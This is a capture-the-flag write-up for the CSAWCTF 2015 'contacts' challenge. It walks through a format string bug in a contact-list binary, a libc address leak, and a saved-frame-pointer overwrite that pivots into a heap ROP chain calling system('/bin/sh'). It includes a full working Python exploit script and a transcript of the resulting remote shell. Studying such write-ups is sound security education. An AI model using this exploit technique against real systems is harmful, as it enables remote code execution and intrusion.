# CSAWCTF 2015: contacts
----------## Challenge details| Contest        | Challenge     | Category  | Points ||:---------------|:--------------|:----------|-------:|| CSAWCTF 2015 | contacts | Pwn |    250 |
**Description:**>*nc 54.165.223.128 2555*>>*[contacts_54f3188f64e548565bc1b87d7aa07427](challenge/contacts)*
----------## Write-up
We are given a 32-bit ELF binary which, when run, allows us to create, remove, edit and display entries in a contact list:
```bash$ ./contacts Menu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> ```
Let's take a look at the security features of the binary:
```bash$ ./checksec.sh --file contacts RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILEPartial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   contacts```
We load it up in IDA and do some reverse-engineering to get an idea of its functionality. The vulnerability is located in the contact entry display function at 0x08048BD1 (renamed *show_contacts* by us):
```cint __cdecl show_contact(int name, int len, int phone, char *description){  printf("\tName: %s\n", name);  printf("\tLength %u\n", len);  printf("\tPhone #: %s\n", phone);  printf("\tDescription: ");  return printf(description);}```
The final *printf* call uses user-controlled data as its format parameter leading to a format string vulnerability. We can see we have control over the contents of description:
```cint __cdecl display_contacts(int contacts){  int result; // eax@2  int contact_ptr; // [sp+18h] [bp-10h]@1  signed int v3; // [sp+1Ch] [bp-Ch]@3
  contact_ptr = contacts;  (...)        result = show_contact(                   contact_ptr + 8,                   *(_DWORD *)(contact_ptr + 72),                   *(_DWORD *)(contact_ptr + 4),                   *(char **)contact_ptr);  (...)}
int main_routine(){  int v1; // [sp+18h] [bp-8h]@5  signed int i; // [sp+1Ch] [bp-4h]@1
  setvbuf(stdout, 0, 2, 0);  for ( i = 0; i <= 9; ++i )    memset((void *)(80 * i + 0x804B0A0), 0, 0x50u);LABEL_11:  while ( v1 != 5 )  {    printf("%s", menu);    __isoc99_scanf("%u%*c", &v1;;    switch ( v1 )    {        case 1:          create_contact((int)&contact_list);          break;        case 2:          remove_contact((int)&contact_list);          break;        case 3:          edit_contact((int)&contact_list);          break;        case 4:        display_contacts((int)&contact_list);        break;      default:        puts("Invalid option");        break;      case 5:        goto LABEL_11;    }  }  puts("Thanks for trying out the demo, sadly your contacts are now erased");  return 0;}```
Where contact_list is a variable located at 0x0804B0A0 in the .bss segment.As we can see in the function that adds a description to a contact (called by *create_contact*) the contact description is located on the heap:
```cchar *__cdecl description(int a1){  char *result; // eax@3  int v2; // [sp+1Ch] [bp-Ch]@1
  printf("\tLength of description: ");  __isoc99_scanf("%u%*c", &v2;;  *(_DWORD *)(a1 + 72) = v2;  *(_DWORD *)a1 = malloc(v2 + 1);  if ( !*(_DWORD *)a1 )    exit(1);  printf("\tEnter description:\n\t\t");  fgets(*(char **)a1, v2 + 1, stdin);  result = *(char **)a1;  if ( !*(_DWORD *)a1 )    exit(1);  return result;}```
## The Infoleak
Given that this is an arbitrary-control format string vulnerability we can use it for both infoleaking and exploitation purposes. Loading the binary in gdb, getting the base address of libc (which will be ASLR-randomized) and subsequently comparing the information leaked by the infoleak shows us that we can (using direct format string parameter access) leak a pointer to our own description string on the heap as well as a return-address pointer into libc.
```bashgdb ./contacts(gdb) b *0x080485c0(gdb) rBreakpoint 1, 0x080485c0 in ?? ()(gdb) info sharedlibraryFrom        To          Syms Read   Shared Object Library0xb7fde820  0xb7ff6baf  Yes (*)     /lib/ld-linux.so.20xb7e3ef10  0xb7f7444c  Yes (*)     /lib/i386-linux-gnu/libc.so.6(*): Shared library is missing debugging information.(gdb) cContinuing.Menu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> 1Contact info:   Name: infoleak[DEBUG] Haven't written a parser for phone numbers; You have 10 numbers  Enter Phone No: 1337  Length of description: 900  Enter description:    %11$x.%31$xMenu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> 4Contacts:  Name: infoleak  Length 900  Phone #: 1337  Description: 804c018.b7e414d3Menu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> (gdb) x/s 0x804c0180x804c018:   "%11$x.%31$x\n"(gdb) disas 0xb7e414d3,+10Dump of assembler code from 0xb7e414d3 to 0xb7e414dd:   0xb7e414d3 <__libc_start_main+243>:  mov    %eax,(%esp)   0xb7e414d6 <__libc_start_main+246>:  call   0xb7e5afb0 <exit>   0xb7e414db <__libc_start_main+251>:  xor    %ecx,%ecx```
This infoleak is important because since we are dealing with both NX and ASLR protections we will need to construct a ROP chain and bypass ASLR.The ingredients for our ROP chain are as follows:
* address of *system()* in libc* address of a "/bin/sh" string* a bogus return address (0xBADC0DE) for the ROP-call of *system()*
If we can hijack EIP control so that it ends up pointing to system() while the stack pointer points to our ROP chain (composed of a bogus return address and the address of "/bin/sh") then we can pop a shell on the target machine.
But let's first try to find out what remote libc version is used. We will have to make some assumptions but it helps that we can leak our __libc_start_main return address point, let's leak it remotely:
```bash$ nc 54.165.223.128 2555Menu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> 1Contact info:   Name: infoleak[DEBUG] Haven't written a parser for phone numbers; You have 10 numbers  Enter Phone No: 1337  Length of description: 100  Enter description:    %31$xMenu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> 4Contacts:  Name: infoleak  Length 100  Phone #: 1337  Description: f763ca63Menu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> ```
Using [Niklas Baumstark's libc-database](https://github.com/niklasb/libc-database) tool we get a list of candidate libc versions based on the leaked pointer:
```bash$ ./find __libc_start_main_ret a63ubuntu-trusty-amd64-libc6-i386 (id libc6-i386_2.19-0ubuntu6.6_amd64)archive-eglibc (id libc6-i386_2.19-0ubuntu6_amd64)ubuntu-utopic-amd64-libc6-i386 (id libc6-i386_2.19-10ubuntu2.3_amd64)archive-glibc (id libc6-i386_2.19-10ubuntu2_amd64)archive-glibc (id libc6-i386_2.19-15ubuntu2_amd64)$ ./dump libc6-i386_2.19-0ubuntu6.6_amd64offset___libc_start_main_ret = 0x19a63offset_system = 0x0003fcd0offset_dup2 = 0x000d9dd0offset_read = 0x000d9490offset_write = 0x000d9510offset_str_bin_sh = 0x15da84```
We simply settle for the first candidate libc version and if this proves to be incorrect we can try the others (hoping the libc version is among them). This gives us offsets:
```offset___libc_start_main_ret = 0x19a63offset_system = 0x0003fcd0offset_str_bin_sh = 0x15da84```
Which we can use to construct our ROP chain later on.
## Achieving EIP control
So let's first try to achieve EIP control. Given that it's a format string vulnerability we can use it as a write-anything-somewhere primitive where we can write a arbitrary 2-byte or 4-byte sequences to address positioned on the stack. This scenario is a little different from the usual one though since our format-string is not on the stack (but in the .bss segment) and as such we cannot use our own string to specify an arbitrary address to write to so we're stuck with what we have available to us on the stack.
Using the format string as infoleak we can see an interesting target address however:
```bashMenu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> 1Contact info:   Name: test[DEBUG] Haven't written a parser for phone numbers; You have 10 numbers  Enter Phone No: 1337  Length of description: 100  Enter description:    %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.Menu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> 4Contacts:  Name: test  Length 100  Phone #: 1337  Description: 804c008.b7e74ff1.b7fcdff4.0.0.bffff488.8048c99.804b0a8.64.804c008.804c018.```
Here we can see the 6th DWORD on the stack precedes address 0x8048c99. Given that 0x8048c99 is the return address for the *show_contact* function back into the *display_contacts* function this indicates 0xbffff488 is the saved frame pointer of that function. If we write to that address we will overwrite the saved frame pointer of the stack frame preceding it (which corresponds to the main routine) and upon returning from that routine the following function epilogue will be executed:
```asmleaveretn```
Which is equivalent to:
```asmmov esp, (old_ebp+4)pop eip```
So if we overwrite the saved framepointer located at 0xbffff488 with a value (minus 4) we have arbitrary control over EIP and we also have control over ESP. We can use this to make EIP point to the first DWORD in our ROP chain (ie. the address of *system*) and have ESP point to the second DWORD in the ROP chain (due to retn being the equivalent of a pop eip).
Given that we cannot control the actual stack we have to position our ROP chain somewhere where we can make it (and the surrounding memory area) act like a 'fake stack', including having enough 'scratch space' for the instructions and function calls in our ROP chain to work with without reading from or writing to invalid memory addresses. Luckily our contact description is allocated on the heap and we have control over the (arbitrary) allocation size. So allocating a heap buffer of 8192 bytes and placing our ROP chain there will allow it to act like a 'fake stack'.
Hence using the %Ax%Bx%6$n template (where A and B are numbers dependent on our ROP chain address) we can exploit this vulnerability.
## Wrapping it all up
All that's left is using the infoleak a second time during ROP chain positioning to disclose a pointer to its heap buffer which we will then use as the target address to overwrite the saved frame pointer at 0xbffff488 with our ROP chain address.
In summary the approach is:
* Create a contact with a description exploiting the fms vulnerability to leak a pointer into libc* Determine the addresses of our ROP chain elements* Create a second contact with a description that starts with our ROP chain and ends with an fms pointer leak to get the address of our ROP chain* Create a third contact entry with a description using the fms vulnerability to overwite the saved frame pointer with the address of our ROP chain (minus 4)* Trigger the exploit by making the main routine return (and thus set EIP=system, ESP=(@ROP + 4))
Which the [following exploit](solution/contacts_exploit.py) achieves:
```python#!/usr/bin/env python## CSAWCTF 2015## @a: Smoke Leet Everyday# @u: https://github.com/smokeleeteveryday#
import refrom pwn import *from struct import packfrom math import floor
def do_infoleak(h, pointer_offset):   name = "infoleak"  phone = "1337"  desc_len = "8192"  desc = "%31$x"
  # Create new contact  h.sendline("1")
  msg = h.recvuntil('Name: ')  print msg
  h.sendline(name)
  msg = h.recvuntil('Enter Phone No: ')  print msg
  h.sendline(phone)
  msg = h.recvuntil('Length of description: ')  print msg
  h.sendline(desc_len)
  msg = h.recv(1024)  print msg
  h.sendline(desc)
  msg = h.recvuntil('>>> ')  print msg
  # Display contacts  h.sendline("4")
  msg = h.recvuntil('>>> ')  print msg
  # Extract leaked pointers  libc_ptr = re.findall('.*Description:\s(.*?)\n.*', msg)[0]  return (int(libc_ptr, 16) - pointer_offset)
def set_ropchain(h, system_addr, binsh_addr):   name = "ropchain"  phone = "1337"  # Need enough space on heap since it's going to be treated as stack during ROP sploiting  desc_len = "8192"
  # junk return address for system  junk = 0x0BADC0DE
  # ROP chain: [@system (4 bytes)][junk (4 bytes)][@"/bin/sh" (4 bytes)]  ROP_chain = [system_addr,         junk,               binsh_addr]  # Include FMS infoleak to get address of ROP chain  desc = "".join([pack('<I', x) for x in ROP_chain]) + "<%11$x>"
  # Create new contact  h.sendline("1")
  msg = h.recvuntil('Name: ')  print msg
  h.sendline(name)
  msg = h.recvuntil('Enter Phone No: ')  print msg
  h.sendline(phone)
  msg = h.recvuntil('Length of description: ')  print msg
  h.sendline(desc_len)
  msg = h.recv(1024)  print msg
  h.sendline(desc)
  msg = h.recvuntil('>>> ')  print msg
  # Display contacts  h.sendline("4")
  msg = h.recvuntil('>>> ')  print msg
  return int(re.findall('.*Description:.*?\<(.*?)\>.*\n.*', msg)[0], 16)
def do_exploit(h, ropchain_addr):  name = "sploit"  phone = "1"  desc_len = "900"
  new_ebp = (ropchain_addr - 4)
  part_1 = floor(new_ebp / 2)  part_2 = part_1 + (new_ebp - (part_1 * 2))
  # Format string exploit: overwrite saved EBP with (ropchain_addr - 4)  desc_buffer = "%"+str(part_1)+"x%"+str(part_2)+"x%6$n"
  print "[*]Sending exploit..."
  # Create new contact  h.sendline("1")
  msg = h.recvuntil('Name: ')  print msg
  h.sendline(name)
  msg = h.recvuntil('Enter Phone No: ')  print msg
  h.sendline(phone)
  msg = h.recvuntil('Length of description: ')  print msg
  h.sendline(desc_len)
  msg = h.recv(1024)  print msg
  h.sendline(desc_buffer)
  msg = h.recvuntil('>>> ')  print msg
  print "[+]Exploit sent!"
  # Trigger exploit  print "[*]Triggering format string vulnerability..."
  # Display contacts  h.sendline("4")
  # Receive printed output until we are back at menu  msg = h.recvuntil('>>> ')
  print "[*]Triggering RCE condition..."  # Exit  h.sendline("5")
  # Waiting for the shell to pop!  h.interactive()
  return
host = '54.165.223.128'port = 2555
offset_libc_start_main_ret = 0x19a63offset_system = 0x0003fcd0offset_str_bin_sh = 0x15da84
h = remote(host, port, timeout = None)
msg = h.recvuntil('>>> ')
print msg
# Use infoleaklibc_base = do_infoleak(h, offset_libc_start_main_ret)system_addr = (libc_base + offset_system)binsh_addr = (libc_base + offset_str_bin_sh)
print "[+]Got leaked libc base address: [0x%x]" % libc_baseprint "[+]Got '/bin/sh' address: [0x%x]" % binsh_addrprint "[+]Got system() address: [0x%x]" % system_addr
# Build ROP chainropchain_addr = set_ropchain(h, system_addr, binsh_addr)
print "[+]Got ROP chain address: [0x%x]" % ropchain_addr
do_exploit(h, ropchain_addr)
h.close()```
Executing the exploit will pop a shell:
```bash$ ./contacts_exploit.py [+] Opening connection to 54.165.223.128 on port 2555: DoneMenu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> Contact info:     Name: [DEBUG] Haven't written a parser for phone numbers; You have 10 numbers    Enter Phone No:     Length of description:     Enter description: Menu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> Contacts:    Name: infoleak    Length 8192    Phone #: 1337    Description: f7547a63Menu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> [+]Got leaked libc base address: [0xf752e000][+]Got '/bin/sh' address: [0xf768ba84][+]Got system() address: [0xf756dcd0]Contact info:     Name: [DEBUG] Haven't written a parser for phone numbers; You have 10 numbers    Enter Phone No:     Length of description:     Enter description: Menu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> Contacts:    Name: infoleak    Length 8192    Phone #: 1337    Description: f7547a63    Name: ropchain    Length 8192    Phone #: 1337    Description: ÐÜV÷ÞÀ­\x0b\x84\xbah÷<87fe030>Menu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> [+]Got ROP chain address: [0x87fe030][*]Sending exploit...Contact info:     Name: [DEBUG] Haven't written a parser for phone numbers; You have 10 numbers    Enter Phone No:     Length of description:     Enter description: Menu:1)Create contact2)Remove contact3)Edit contact4)Display contacts5)Exit>>> [+]Exploit sent![*]Triggering format string vulnerability...[*]Triggering RCE condition...[*] Switching to interactive modeThanks for trying out the demo, sadly your contacts are now erased$ whoamictf$ iduid=1001(ctf) gid=1001(ctf) groups=1001(ctf)$ uname -aLinux ip-172-31-44-100 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux$ ls -latotal 44drwxr-xr-x 2 ctf  ctf  4096 Sep 18 19:39 .drwxr-xr-x 4 root root 4096 Sep 18 01:00 ..-rw------- 1 ctf  ctf  1340 Sep 20 15:45 .bash_history-rw-r--r-- 1 ctf  ctf   220 Sep 18 01:00 .bash_logout-rw-r--r-- 1 ctf  ctf  3637 Sep 18 01:00 .bashrc-rwxrwxr-x 1 ctf  ctf  9716 Sep 18 19:38 contacts_54f3188f64e548565bc1b87d7aa07427-rw-rw-r-- 1 ctf  ctf    35 Sep 18 19:21 flag-rw-r--r-- 1 ctf  ctf   675 Sep 18 01:00 .profile-rw-rw-r-- 1 ctf  ctf    66 Sep 18 01:02 .selected_editor$ cat flagflag{f0rm47_s7r1ng5_4r3_fun_57uff}```